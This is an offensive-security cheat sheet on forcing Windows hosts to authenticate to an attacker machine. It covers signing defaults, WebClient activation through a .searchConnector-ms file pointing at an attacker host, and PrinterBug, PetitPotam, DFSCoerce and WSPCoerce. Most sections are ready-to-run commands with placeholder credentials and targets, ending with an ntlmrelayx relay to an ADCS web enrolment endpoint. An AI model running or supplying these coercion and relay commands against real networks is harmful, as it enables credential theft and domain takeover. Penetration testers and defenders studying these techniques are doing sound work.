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Internal - Coerce

Coerce refers to forcing a target machine (usually with SYSTEM privileges) to authenticate to another machine.

Signing

Server Side Signing

Operating System SMB Signing LDAP Signing
Windows Server 2019 DC ✅ ❌
Windows Server 2022 DC pre 23H2 ✅ ❌
Windows Server 2022 DC 23H2 ✅ ✅
Windows Server 2025 DC ✅ ✅
Windows Server 2019 Member ❌ -
Windows Server 2022 Member ❌ -
Windows Server 2025 Member ❌ -
Windows 10 ❌ -
Windows 11 23H2 ❌ -
Windows 11 24H2 ✅ -
  • Server-side SMB signing has been enabled on domain controllers
  • Server-side SMB signing is still not required by default on non-DC Windows server

WebClient Service

  • On Windows workstations, the WebClient service is installed by default.
  • On Windows servers, it is not installed by default

Enable WebClient:

WebClient service can be enabled on the machine using several techniques:

  • Mapping a WebDav server using net command : net use ...
  • Typing anything into the explorer address bar that isn't a local file or directory

  • Browsing to a directory or share that has a file with a .searchConnector-ms extension located inside.

    <?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>http://attacksystem/path</url>
    </simpleLocation>
</searchConnectorDescription>

Check if the WebDav service is running

nxc smb <ip> -u 'user' -p 'pass' -M webdav

MS-RPRN - PrinterBug

Tools:

Examples:

poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PrinterBug

Checking if the Spooler Service is running.

nxc smb <ip> -u 'user' -p 'pass' -M spooler

MS-EFSR - PetitPotam

The tools use the LSARPC named pipe with interface c681d488-d850-11d0-8c52-00c04fd90f7e because it's more prevalent. But it's possible to trigger with the EFSRPC named pipe and interface df1941c5-fe89-4e79-bf10-463657acf44d.

Tools:

  • topotam/PetitPotam - PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.

Examples:

poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PetitPotam

MS-DFSNM - DFS Coercion

DFS Coerce (MS-DFSNM abuse) is a technique to force a Windows system to authenticate to an attacker-controlled machine by abusing the DFS Namespace Management RPC interface.

Tools:

  • Wh04m1001/DFSCoerce - PoC for MS-DFSNM coerce authentication using NetrDfsRemoveStdRoot and NetrDfsAddStdRoot methods.

Examples:

python3 dfscoerce.py -u username -d domain.local 10.10.10.10 10.10.10.11
poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=DFSCoerce

MS-WSP - WSP Coercion

  • The wsearch service is only enabled by default on workstations, and has been disabled on servers since Server 2016.
  • Only SMB connections can be coerced with WSP.

Tools:

Examples:

WSPCoerce.exe <target> <listener>
WSPCoerce.exe labsw1 172.23.10.109
WSPCoerce.exe labsw1 labsrv1

wspcoerce 'lab.redteam/rtpttest:test1234!@192.0.2.115' "file:////attacksystem/share"
ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs
  • Can't use an IP address for the target, use a short hostname only (no FQDN)
  • Make sure to use a hostname or FQDN for the listener if you want to receive Kerberos auth

References